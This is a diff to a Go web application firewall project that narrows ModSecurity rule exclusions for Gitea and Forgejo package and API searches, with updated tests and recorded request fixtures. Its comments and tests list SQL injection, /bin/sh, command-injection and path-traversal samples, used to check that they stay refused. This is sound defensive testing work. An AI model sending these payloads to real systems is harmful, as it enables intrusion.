# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/npm/-/v1/search$" \
"id:900609,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:text,\
ctl:ruleRemoveTargetById=932120;ARGS:text,\
ctl:ruleRemoveTargetById=932160;ARGS:text,\
ctl:ruleRemoveTargetById=932250;ARGS:text,\
ctl:ruleRemoveTargetById=932260;ARGS:text"
# A Conan search takes a pattern such as zlib/*, which the rule for SQL
# injection (942100) refused in q. q skips that rule only when the request has
# one q, in the query string or the body, with the shape of a Conan reference.
# A reference is a name, then optionally / and a version, then optionally @
# and a user, then optionally / and a channel. Each part is made of letters,
# digits, _, ., - and *. A part holds no +, since 942100 reads + as a space.
# q must also hold no */, which ends an SQL comment, and no --, which starts
# one. Last, 942100 must find no SQL injection in q once each comment that /*
# starts, an unclosed one included, is replaced by a space. So zlib/* passes,
# and SQL injection such as these stays refused:
# 1' OR '1'='1
# 1/**/or/**/1
# 1/*@*/or-1
# 1+or+1--
# 1-or-1--
# x/1.or.1
# 1.having.1
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see a q there. It checks tx.app_gitea, since the skip above does
# not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/conan/v[12]/conans/search$" \
"id:900611,phase:2,pass,nolog,chain"
SecRule &TX:app_gitea "@eq 1" "chain"
SecRule &ARGS:q "@eq 1" "chain"
SecRule ARGS:q "!@contains */" "chain"
SecRule ARGS:q "!@contains --" "chain"
SecRule ARGS:q "!@detectSQLi" "t:none,t:replaceComments,chain"
SecRule ARGS:q "@rx ^[\w.*-]+(?:/[\w.*-]+)?(?:@[\w.*-]+(?:/[\w.*-]+)?)?$" \
"ctl:ruleRemoveTargetById=942100;ARGS:q"
# The NuGet v2 API's searches, Search() and Packages(), send their words in
# searchTerm, or in $filter as an expression such as
# tolower(Id) eq 'python3'. Search()/$count and Packages()/$count count a
# search's results and read the same fields. searchTerm skips these rules:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# $filter skips these:
# 930120: .htaccess
# 932120: powershell
# The names $filter, $orderby and $top skip the rule for MongoDB operators
# (942290), which refused every such search.
SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/nuget/(?:Search|Packages)\(\)(?:/\$count)?$" \
"id:900612,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932120;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932250;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=932260;ARGS:searchTerm,\
ctl:ruleRemoveTargetById=930120;ARGS:$filter,\
ctl:ruleRemoveTargetById=932120;ARGS:$filter,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$filter,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$orderby,\
ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$top"
# The repositories on a user's or an organisation's page are searched with q # The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, so q skips these rules on every path of one # too. Their path has one segment, so q skips these rules on every path of one
# segment, other apps' pages such as /index.php included: # segment, other apps' pages such as /index.php included:
@@ -497,7 +394,7 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl" "id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
# The requests below name a file or a branch in a body field, which is read only # The requests below name a file or a branch in a body field, which is read only
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Each field skips the rules that # while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Each field skips the rules that
# refused it. # refused it.
# Each field below that names a branch skips these rules: # Each field below that names a branch skips these rules:
# 932120: fix-powershell-module # 932120: fix-powershell-module
internal/coreruleset/gitea_test.go
+4 -255
View File
@@ -3,7 +3,6 @@ package coreruleset_test
import ( import (
"net/http" "net/http"
"slices" "slices"
"strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -86,7 +85,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) { func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t) crs := readingBodies(t)
@@ -147,7 +146,7 @@ func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) { func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t) defaults, bodies := atDefaults(t), readingBodies(t)
@@ -171,7 +170,7 @@ func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) { func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := atDefaults(t) crs := atDefaults(t)
@@ -183,7 +182,7 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
} }
} }
attacks := []string{binSh, commandInjection, pathTraversal} attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
// /bin/sh, a shell command after a ";", a path traversal and the hard // /bin/sh, a shell command after a ";", a path traversal and the hard
// values stay refused in q on paths near the searches, and in another // values stay refused in q on paths near the searches, and in another
@@ -249,253 +248,3 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
} }
} }
} }
// giteaAPISearches are the API's searches that gitea and Forgejo share whose
// field skips the lists of system files and command names. Each ends in the
// field it sends its words in.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaAPISearches = []string{
"/api/v1/users/search?q=",
"/api/v1/topics/search?q=",
"/api/v1/orgs/acme/teams/search?q=",
"/api/v1/admin/emails/search?q=",
"/api/v1/admin/unadopted?query=",
"/api/v1/repos/alice/tools/milestones?name=",
}
// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
// also lets /bin/sh through, since a package name can hold a slash.
const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
t.Parallel()
checkSearchesRefuseAttacks(
t,
giteaAPISearches,
[]string{giteaAPIPackageSearch},
)
}
// checkSearchesRefuseAttacks checks that SQL injection, a path traversal,
// script injection and a shell command stay refused in the field of each
// search, in the query string and in a form data body. Each search ends in
// its field. /bin/sh stays refused too in the field of each of
// refusingBinSh, but not of lettingBinSh.
func checkSearchesRefuseAttacks(
t *testing.T, refusingBinSh, lettingBinSh []string,
) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, search := range slices.Concat(refusingBinSh, lettingBinSh) {
path, field, _ := strings.Cut(search, "?")
for _, attack := range []string{
sqlInjection, pathTraversal, scriptInjection, commandInjection,
} {
if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
t.Errorf("GET %s%s let through: %+v", search, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
t.Errorf(
"POST %s %s%s let through: %+v",
path,
field,
attack,
got,
)
}
}
}
for _, search := range refusingBinSh {
if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", search, binSh, got)
}
}
}
func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// Each search's field on paths near the searches, and another field on
// them.
checkValuesStayRefused(t, []string{
"/api/v1/topics/search/x?q=",
"/api/v1/orgs/acme/teams?q=",
"/api/v1/orgs/acme/teams/search/x?q=",
"/api/v1/admin/emails?q=",
"/api/v1/admin/unadopted/alice/legacy-site?query=",
"/api/v1/admin/users?query=",
"/api/v1/repos/alice/tools/milestones/1?name=",
"/api/v1/repos/alice/tools/labels?name=",
"/api/v1/packages/alice/generic/tools-cli?q=",
"/api/v1/topics/search?other=",
"/api/v1/orgs/acme/teams/search?other=",
"/api/v1/admin/emails/search?other=",
"/api/v1/admin/unadopted?q=",
"/api/v1/repos/alice/tools/milestones?q=",
"/api/v1/packages/alice?other=",
})
}
// checkValuesStayRefused checks that /bin/sh, a shell command after a ";", a
// path traversal and the hard values stay refused at the end of each target.
func checkValuesStayRefused(t *testing.T, targets []string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
for _, target := range targets {
for _, value := range slices.Concat(
[]string{binSh, commandInjection, pathTraversal},
hardValues,
) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
}
// giteaRegistrySearches are the package registries' searches whose field
// skips the lists of system files and command names. Each ends in the field
// it sends its words in.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaRegistrySearches = []string{
"/api/packages/alice/cargo/api/v1/crates?q=",
"/api/packages/alice/chef/api/v1/search?q=",
"/api/packages/alice/chef/api/v1/cookbooks?q=",
"/api/packages/alice/nuget/query?q=",
"/api/packages/alice/nuget/Search()?searchTerm=",
"/api/packages/alice/nuget/Packages()?$filter=",
"/api/packages/alice/nuget/Search()/$count?searchTerm=",
"/api/packages/alice/nuget/Packages()/$count?$filter=",
}
// giteaRegistrySearchesLettingBinSh are the package registries' searches
// whose field also lets /bin/sh through, since a Composer, Conan or npm name
// can hold a slash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaRegistrySearchesLettingBinSh = []string{
"/api/packages/alice/composer/search.json?q=",
"/api/packages/alice/conan/v1/conans/search?q=",
"/api/packages/alice/conan/v2/conans/search?q=",
"/api/packages/alice/npm/-/v1/search?text=",
}
func TestGiteaAttacksAreRefusedInItsRegistrySearches(t *testing.T) {
t.Parallel()
checkSearchesRefuseAttacks(
t,
giteaRegistrySearches,
giteaRegistrySearchesLettingBinSh,
)
}
func TestGiteaRegistrySearchExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// Each search's field on paths near the searches, and another field on
// them.
checkValuesStayRefused(t, []string{
"/api/packages/alice/cargo/api/v1/crates/tools-cli?q=",
"/api/packages/alice/chef/api/v1/cookbooks/tools?q=",
"/api/packages/alice/composer/packages.json?q=",
"/api/packages/alice/conan/v1/conans/tools/1.0/alice/stable/search?q=",
"/api/packages/alice/nuget/query/x?q=",
"/api/packages/alice/nuget/FindPackagesById()?id=",
"/api/packages/alice/nuget/FindPackagesById()/$count?id=",
"/api/packages/alice/nuget/Search()/$count/x?searchTerm=",
"/api/packages/alice/npm/tools-cli?text=",
"/api/packages/alice/cargo/api/v1/crates?other=",
"/api/packages/alice/chef/api/v1/search?other=",
"/api/packages/alice/composer/search.json?type=",
"/api/packages/alice/conan/v2/conans/search?other=",
"/api/packages/alice/nuget/query?other=",
"/api/packages/alice/nuget/Search()?targetFramework=",
"/api/packages/alice/nuget/Packages()?$orderby=",
"/api/packages/alice/nuget/Search()/$count?targetFramework=",
"/api/packages/alice/nuget/Packages()/$count?$orderby=",
"/api/packages/alice/npm/-/v1/search?q=",
})
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
crs := atDefaults(t)
// The rule for MongoDB operators (942290) still refuses the name of
// another operator on NuGet's searches, and $filter on NuGet's other
// paths. The rule for SQL injection (942100) still refuses tools/* in a
// field other than a Conan search's, SQL injection in a second q after a
// Conan pattern, SQL comments or dots that stand in for spaces, and SQL
// injection holding + or --.
for _, target := range []string{
"/api/packages/alice/nuget/Search()?$where=1",
"/api/packages/alice/nuget/Packages()?$ne=1",
"/api/packages/alice/nuget/Search()/$count?$where=1",
"/api/packages/alice/nuget/FindPackagesById()?$filter=IsLatestVersion",
"/api/packages/alice/nuget/FindPackagesById()/$count?$filter=IsLatestVersion",
"/api/packages/alice/composer/search.json?q=tools%2F%2A",
"/api/packages/alice/conan/v2/conans/search?other=tools%2F%2A",
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A&q=" +
sqlInjection,
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%2A%2For%2F%2A%2A%2F1",
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%40%2A%2For-1",
"/api/packages/alice/conan/v2/conans/search?q=1%2Bor%2B1--",
"/api/packages/alice/conan/v2/conans/search?q=1-or-1--",
"/api/packages/alice/conan/v2/conans/search?q=x%2F1.or.1",
"/api/packages/alice/conan/v2/conans/search?q=x%2F1.and.1",
"/api/packages/alice/conan/v2/conans/search?q=1.having.1",
} {
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// SQL injection in a q in the body is refused, even after a Conan
// pattern in the query string.
search := request{
http.MethodPost,
"/api/packages/alice/conan/v2/conans/search?q=zlib",
[]string{formData},
}
body := "q=" + sqlInjection
if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
t.Errorf("POST %s %s let through: %+v", search.target, body, got)
}
// So is SQL injection with dots for spaces, in a q sent only in the body.
search.target = "/api/packages/alice/conan/v2/conans/search"
body = "q=x%2F1.or.1"
if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
t.Errorf("POST %s %s let through: %+v", search.target, body, got)
}
// The rule that lets a Conan pattern through is in phase 2, where it
// checks tx.app_gitea itself: a hostname that does not serve gitea
// refuses the pattern.
pattern := get(
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A",
)
apps := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
wantResult(t, apps, withHost(pattern, giteaHost), coreruleset.Result{})
wantResult(t, apps, withHost(pattern, otherHost), matched(942100))
}
internal/coreruleset/mastodon.conf
+1 -1
View File
@@ -5,7 +5,7 @@
# file is loaded before the Core Rule Set's rules. Each comment names a request # file is loaded before the Core Rule Set's rules. Each comment names a request
# a rule refused. An exclusion on a field of a body applies only when the query # a rule refused. An exclusion on a field of a body applies only when the query
# has no parameter of that name, so it matters only while # has no parameter of that name, so it matters only while
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# #
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own # Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
# resources under them count as Mastodon's paths. # resources under them count as Mastodon's paths.
internal/coreruleset/mastodon_test.go
+1 -1
View File
@@ -12,7 +12,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const mastodonThreshold = 5 const mastodonThreshold = 5
// mastodonStatuses is where Mastodon's apps and web app post. // mastodonStatuses is where Mastodon's apps and web app post.
internal/coreruleset/mediawiki.conf
+1 -1
View File
@@ -5,7 +5,7 @@
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An # Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of # exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# MediaWiki's paths are matched at the site root and under /w/. # MediaWiki's paths are matched at the site root and under /w/.
# #
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only # WordPress serves /index.php too. So /index.php counts as MediaWiki's only
internal/coreruleset/mediawiki_test.go
+3 -5
View File
@@ -9,7 +9,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5 const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_WAF_APPS. // mediawiki is MediaWiki's name in SWW_WAF_APPS.
@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
t.Parallel() t.Parallel()
crs := shared(t, coreruleset.Params{ crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{ Apps: map[string][]string{
giteaHost: {gitea}, giteaHost: {gitea},
otherHost: {mediawiki}, otherHost: {mediawiki},
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
t.Parallel() t.Parallel()
crs := shared(t, coreruleset.Params{ crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{ Apps: map[string][]string{
giteaHost: {gitea}, giteaHost: {gitea},
otherHost: {mediawiki}, otherHost: {mediawiki},
internal/coreruleset/nextcloud.conf
+1 -1
View File
@@ -5,7 +5,7 @@
# switches off, so this file is loaded before the Core Rule Set's rules. Each # switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body # comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only # applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched # while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
# at the site root and under /index.php/, where a Nextcloud without pretty URLs # at the site root and under /index.php/, where a Nextcloud without pretty URLs
# serves them. # serves them.
# #
internal/coreruleset/nextcloud_test.go
+3 -4
View File
@@ -13,7 +13,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5 const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page. // nextcloudSignIn is the sign-in page.
@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
t.Parallel() t.Parallel()
crs := shared(t, coreruleset.Params{ crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
Apps: map[string][]string{ Apps: map[string][]string{
giteaHost: {gitea}, giteaHost: {gitea},
otherHost: {nextcloud}, otherHost: {nextcloud},
@@ -529,7 +528,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
func TestNextcloudUserPasswordInValuePasses(t *testing.T) { func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t) crs := readingBodies(t)
target := nextcloudUsers + "/alice" target := nextcloudUsers + "/alice"
internal/coreruleset/recorded_test.go
+4 -4
View File
@@ -57,7 +57,7 @@ func giteaRequests(t *testing.T) []request {
func TestOrdinaryGiteaRequestsPass(t *testing.T) { func TestOrdinaryGiteaRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
requests := giteaRequests(t) requests := giteaRequests(t)
giteaOnly := map[string][]string{giteaHost: {gitea}} giteaOnly := map[string][]string{giteaHost: {gitea}}
@@ -133,7 +133,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
func wantRecordedRequestsPass(t *testing.T, name, app string) { func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
requests := recordedRequests(t, name) requests := recordedRequests(t, name)
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
defaults := servingApps(t, apps) defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{ bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize, Apps: apps, BodyLimit: bodyLimit, Apps: apps,
}) })
for _, recorded := range requests { for _, recorded := range requests {
@@ -214,7 +214,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
func TestOrdinaryForgejoRequestsPass(t *testing.T) { func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
requests := recordedRequests(t, "forgejo-requests.txt") requests := recordedRequests(t, "forgejo-requests.txt")
forgejoOnly := map[string][]string{"example.com": {forgejo}} forgejoOnly := map[string][]string{"example.com": {forgejo}}
internal/coreruleset/testdata/forgejo-requests.txt
Vendored
-160
View File
@@ -974,163 +974,3 @@
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""} {"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""} {"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""} {"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
# 17.0.1. Each searches for words that name commands and files, such as python3
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
# search of unadopted repositories takes an owner and a name.
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
